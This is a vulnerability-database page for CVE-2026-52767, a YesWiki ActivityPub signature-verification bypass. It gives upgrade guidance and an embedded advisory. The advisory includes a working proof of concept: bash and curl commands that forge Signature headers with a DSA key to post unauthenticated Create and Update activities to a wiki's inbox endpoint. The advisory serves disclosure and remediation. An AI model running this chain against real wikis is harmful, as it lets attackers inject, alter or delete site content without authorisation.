CVE-2026-52767: Yeswiki/yeswiki YesWiki Vulnerable To Unauthenticated ActivityPub Vulnerability
HIGHCVE-2026-52767 is a HIGH (CVSS 8.2) yeswiki vulnerable to unauthenticated activitypub vulnerability (CWE-347: Improper Verification of Cryptographic Signature) affecting Yeswiki/yeswiki libraries in the Packagist ecosystem. The issue involves yeswiki vulnerable to unauthenticated activitypub signature-verification bypass via `!openssl_verify(...)` accepting `int(-1)`. Remediation is available by upgrading affected packages to version 4.6.6.
CVE-2026-52767 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L).
How to Fix CVE-2026-52767
To remediate this vulnerability, upgrade all affected Yeswiki/yeswiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade yeswiki/yeswiki to 4.6.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for yeswiki/yeswiki
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52767, inspect your project dependencies for Yeswiki/yeswiki:
inspect dependencies for yeswiki/yeswiki
Analyze the terminal output to locate any version of Yeswiki/yeswiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-347: Improper Verification of Cryptographic Signature, where the product does not verify, or incorrectly verifies, the cryptographic signature for data. In Yeswiki/yeswiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52767 Affected Yeswiki/yeswiki Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
yeswiki/yeswiki
|
Packagist |
≥ 4.6.2
< 4.6.6
|
4.6.6
|
References
Frequently Asked Questions
What is CVE-2026-52767?
Which Yeswiki/yeswiki versions are affected?
What version fixes CVE-2026-52767?
Is yeswiki/yeswiki affected?
What is the CVSS score of CVE-2026-52767?
What CWE is associated with CVE-2026-52767?
How can I check Packagist dependencies for CVE-2026-52767?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mv28-wj57-f57g",
"modified" : "2026-07-09T20:58:12Z",
"published" : "2026-07-09T20:58:12Z",
"aliases" : [ "CVE-2026-52767" ],
"summary" : "YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`",
"details" : "## Summary\n`HttpSignatureService::verifySignature()` checks the result of PHP's `openssl_verify()` with a **loose boolean negation** - `if (!openssl_verify(...)) { throw ... }`. PHP's `openssl_verify` has four possible return values:\n\n| return | meaning | `!return` |\n| ------ | ------------------------------------------------ | --------- |\n| `1` | signature is valid | `false` |\n| `0` | signature is invalid | `true` ✓ |\n| `-1` | the verify call itself failed (internal error) | **`false` ❌** |\n| `false`| input rejected by PHP's argument validation | `true` ✓ |\n\nThe `-1` row is the bypass: PHP's truthiness rules make `-1` a truthy value, so `!(-1) === false`, the throw is skipped, and the controller proceeds to `processActivity()`. Any condition that makes OpenSSL's `EVP_VerifyFinal()` return `-1` triggers the bypass.\n\nThe two practical paths to `-1` we are aware of:\n\n1. **DSA / EC public key with an RSA-only algorithm.** `openssl_verify(..., $dsaKey, \"RSA-SHA256\")` returns `int(-1)` on PHP 8.3 + OpenSSL 3.x. This is the path the PoC uses; it works against an unmodified `php:8.3-apache` lab and against any deployment using the runtime stack YesWiki's own docker image ships.\n2. **Older PHP + older OpenSSL** where any unrecognised digest name returned `-1` rather than `false`. The reporting research mentions this path; on current stacks `false` is returned instead and the throw fires correctly. The DSA path replaces it.\n\nThe reachable consequence is the same in both cases - the controller silently treats a failed verification as success and processes the attacker's payload.\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **130**\n\n```php\n// tools/bazar/services/HttpSignatureService.php (v4.6.5 = origin/doryphore-dev HEAD)\npublic function verifySignature(Request $request) {\n ... // [Signature parse,\n // outbound key fetch — see the SSRF advisory]\n $actorPublicKey = openssl_get_publickey($actor['publicKey']['publicKeyPem']);\n ...\n if (!openssl_verify( // (a) LOOSE BOOLEAN CHECK\n join(\"\\n\", $sigParts),\n base64_decode($sigConf['signature']),\n $actorPublicKey,\n strtoupper($sigConf['algorithm'])\n )) {\n throw new Exception('Signature verification failed'); // (b) skipped when openssl_verify == -1\n }\n\n if ($request->headers->get('Digest') !== $this->getDigest($request->getContent())) {\n throw new Exception('Digest mismatch'); // (c) still enforced — easy to satisfy\n }\n}\n```\n\nThe inbox controller calls `verifySignature()` and then runs `processActivity($activity, $form)`, which is what actually mutates state.\n\n### End-to-end attack chain\n\nA single unauthenticated POST per operation. No session, no CSRF, no real signature.\n\n1. **Stand up an actor document** that the attacker controls — any public web server (or webhook receiver) that returns a JSON body with the shape:\n\n ```json\n {\n \"id\": \"<exact URL the server will GET>\",\n \"publicKey\": {\n \"id\": \"<same URL>\",\n \"publicKeyPem\": \"<DSA public key in PEM form>\"\n }\n }\n ```\n\n2. **Send a Create / Update / Delete activity** to `POST /api/forms/{enabled-form-id}/actor/inbox`:\n\n ```http\n POST /?api/forms/2/actor/inbox HTTP/1.1\n Host: target.example\n Content-Type: application/activity+json\n Date: <RFC1123 date>\n Digest: SHA-256=<base64(sha256(body))>\n Signature: keyId=\"<actor URL>\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"\n\n {\"@context\":\"https://www.w3.org/ns/activitystreams\",\"type\":\"Create\",\n \"actor\":\"<actor URL>\",\n \"object\":{\"id\":\"<unique object URI>\",\"type\":\"Event\",\"name\":\"...\",\"startTime\":\"...\"}}\n ```\n\n3. **YesWiki fetches the actor document** (line 96 - the SSRF; see sibling advisory), parses it, calls `openssl_get_publickey(...)` which returns a valid OpenSSL key handle (DSA is parsed successfully), then calls `openssl_verify($data, \"junk-sig\", $dsaKey, \"RSA-SHA256\")`. EVP_VerifyFinal returns `-1`. The check `!openssl_verify(...)` evaluates to `false` and the throw is skipped.\n4. **`Digest` header is enforced**, but it's a simple `SHA-256=` of the body the attacker chose, so satisfying it costs one `sha256sum`.\n5. **`processActivity($activity, $form)` runs**: Create → `EntryManager::create()`, Update → `EntryManager::update()`, Delete → `EntryManager::delete()`. The triple store records the attacker's `object.id` as the source URL, which is how Update / Delete locate the entry on subsequent calls.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\nKEYID=\"http://127.0.0.1:9999/actors/attacker\"\nFORM_ID=2\nMARKER=\"DEMO_$(date +%s)\"\n```\n\nPHP one-liner - runs against the exact PHP+OpenSSL the lab is using. Confirm that `openssl_verify` returns `-1`.\n\n```bash\npodman exec \"$CTR\" php -r '\n $pem = file_get_contents(\"/tmp/attacker_keys/dsa.pub\");\n $key = openssl_get_publickey($pem);\n $r = openssl_verify(\"hello\", \"junk\", $key, \"RSA-SHA256\");\n echo \"openssl_verify returned: \" . var_export($r, true) . \"\\n\";\n echo \"!openssl_verify(...) is: \" . var_export(!$r, true) . \"\\n\";\n'\n```\n\n**Expected output:**\n\n```\nopenssl_verify returned: -1\n!openssl_verify(...) is: false\n```\n\nVerify the listener is up and serving the DSA-key actor\n\n```bash\npodman exec \"$CTR\" cat /tmp/ssrf_listener.pid\npodman exec \"$CTR\" ps -p $(podman exec \"$CTR\" cat /tmp/ssrf_listener.pid) -o stat=\npodman exec \"$CTR\" curl -s http://127.0.0.1:9999/actors/attacker | head -c 300; echo\n```\n\n**Expected output:** a PID, `S` (sleeping/alive), and a JSON document beginning with `{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"http://127.0.0.1:9999/actors/attacker\", ...` and a `publicKeyPem` field whose value starts with `-----BEGIN PUBLIC KEY-----\\nMIIB...` (the DSA key - note the `Bv` prefix typical of DSA-key DER, not the `Ij` of RSA).\n\nBuild a JSON Create activity that the Agenda form's reverse-semantic template can map (it expects an `Event` with `name`, `content`, `startTime`, `endTime`, `location.address.*`, etc.):\n\n```bash\nACTIVITY='{\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"type\": \"Create\",\n \"id\": \"http://127.0.0.1:9999/activity/c-'\"$MARKER\"'\",\n \"actor\":\"'\"$KEYID\"'\",\n \"object\": {\n \"id\": \"http://127.0.0.1:9999/objects/'\"$MARKER\"'\",\n \"type\": \"Event\",\n \"name\": \"'\"$MARKER\"' — created via the signature-verification bypass\",\n \"content\": \"openssl_verify returned -1; YesWiki accepted us anyway\",\n \"startTime\": \"2026-12-01T10:00:00Z\",\n \"endTime\": \"2026-12-01T12:00:00Z\"\n }\n}'\n\n# Digest must equal SHA-256= base64(sha256(body)) - this header IS enforced\nDIGEST=\"SHA-256=$(printf '%s' \"$ACTIVITY\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed 's/+0000/GMT/')\"\nSIG='keyId=\"'\"$KEYID\"'\",algorithm=\"RSA-SHA256\",headers=\"(request-target) host date digest content-type\",signature=\"anVuaw==\"'\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Date: ${DATE}\" \\\n -H \"Digest: ${DIGEST}\" \\\n -H \"Signature: ${SIG}\" \\\n --data-raw \"$ACTIVITY\" \\\n -w '\\n HTTP %{http_code}\\n'\n```\n\nNow, try udating the entry via the same bypass\n\nThe triple store records `<tag, sourceUrl, object.id>` from the Create. An Update activity referencing the same `object.id` will look that up and rewrite the entry's body.\n\n```bash\nUPDATE_ACT='{\n \"@context\": \"https://www.w3.org/ns/activitystreams\",\n \"type\": \"Update\",\n \"id\": \"http://127.0.0.1:9999/activity/u-'\"$MARKER\"'\",\n \"actor\":\"'\"$KEYID\"'\",\n \"object\": {\n \"id\": \"http://127.0.0.1:9999/objects/'\"$MARKER\"'\",\n \"type\": \"Event\",\n \"name\": \"'\"$MARKER\"'_UPDATED — title was changed by an unauthenticated POST\",\n \"content\": \"this row was modified via the SAME bypass\",\n \"startTime\": \"2026-12-01T10:00:00Z\",\n \"endTime\": \"2026-12-01T12:00:00Z\"\n }\n}'\nDIGEST=\"SHA-256=$(printf '%s' \"$UPDATE_ACT\" | openssl dgst -sha256 -binary | base64)\"\nDATE=\"$(date -uR | sed 's/+0000/GMT/')\"\n\ncurl -s -X POST \"${BASE}/?api/forms/${FORM_ID}/actor/inbox\" \\\n -H \"Content-Type: application/activity+json\" \\\n -H \"Date: ${DATE}\" \\\n -H \"Digest: ${DIGEST}\" \\\n -H \"Signature: ${SIG}\" \\\n --data-raw \"$UPDATE_ACT\" \\\n -w ' HTTP %{http_code}\\n'\n```\n\n**Expected output:** `HTTP 200`, empty body.\n\n## Impact\nCRUD on bazar entries of any ActivityPub-enabled form, **without authentication**:\n\n* **Create** - `EntryManager::create($form['bn_id_nature'], $entry, false, $object['id'])`. New row in `yeswiki_pages` and a triple `<tag, sourceUrl, $object['id']>` in `yeswiki_triples`.\n* **Update** - looks up the entry via the source-URL triple and rewrites its body with the attacker-supplied content.\n* **Delete** - same lookup, then `EntryManager::delete($tag, true)`.\n\nConcrete operational impact:\n\n* **Defacement / content injection** at scale - a public-facing wiki with the Agenda or Blog-actu form federated becomes a publishing target for any attacker who can route TCP to the YesWiki host.\n* **Spam / SEO poisoning** through the Bazar entry body, which is HTML-rendered for the wiki and indexed by search.\n* **Erasure of legitimate federated content** - any entry previously created via ActivityPub can be enumerated through the public outbox endpoint, its `object.id` discovered, and then deleted by replaying the chain with `type=Delete`.\n* **Triple-store pollution** - the `yeswiki_triples` table grows with attacker-controlled `sourceUrl` triples that survive entry deletion and can interfere with later federation flows.\n* **Reputation / federation poisoning** - the wiki appears (to remote ActivityPub peers and to its own users) to be receiving signed content from a remote actor, when in reality anyone on the network can post.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "yeswiki/yeswiki"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.6.2"
}, {
"fixed" : "4.6.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-mv28-wj57-f57g"
}, {
"type" : "WEB",
"url" : "https://github.com/YesWiki/yeswiki/commit/d1795e0301e1a1078f17b4b98f56fff70de2029e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/YesWiki/yeswiki"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-347" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-09T20:58:12Z",
"nvd_published_at" : null
}
}